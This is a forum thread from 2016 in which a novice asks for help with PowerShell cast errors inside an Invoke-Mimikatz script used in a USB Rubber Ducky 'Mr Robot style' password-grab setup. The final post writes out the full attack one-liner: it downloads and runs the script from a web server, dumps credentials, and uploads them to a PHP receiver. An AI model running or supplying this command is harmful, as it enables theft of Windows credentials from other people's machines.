sracer21 Posted November 25, 2016 Share Posted November 25, 2016 Hello everybody, I'm new to the board. I am new to programming and powershell is giving me an error with the Mr Robot command. Any help would be great. Here is the error. Specified cast is not valid. At line:2179 char:7 + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [], InvalidCastException + FullyQualifiedErrorId : System.InvalidCastException Specified cast is not valid. At line:2237 char:7 + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_D ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : OperationStopped: (:) [], InvalidCastException + FullyQualifiedErrorId : System.InvalidCastException I am also trying this on Win10. Quote Link to comment Share on other sites More sharing options...
Enzym3 Posted November 27, 2016 Share Posted November 27, 2016 Can you post some more info? Such as the payload you're referencing and any other info you can supply? It's hard for anyone to help you out if they don't have all the info they need. Quote Link to comment Share on other sites More sharing options...
sracer21 Posted December 1, 2016 Author Share Posted December 1, 2016 Sorry for being so bland. My fault. So I was following the "15 Second Password Hack, Mr Robot Style" instructions for setting up my ducky and webserver. From what I can tell from the output of powershell, I am getting the 2 errors stated in my original post. They seem to be pointing to 2 different places in the invoke-mimikatz file (im.ps1) powershell script. I get the 2 errors above when I run, powershell "IEX (New-Object Net.WebClient).DownloadString('https://mywebserver/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('https://mywebserver/rx.php', $output)" Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.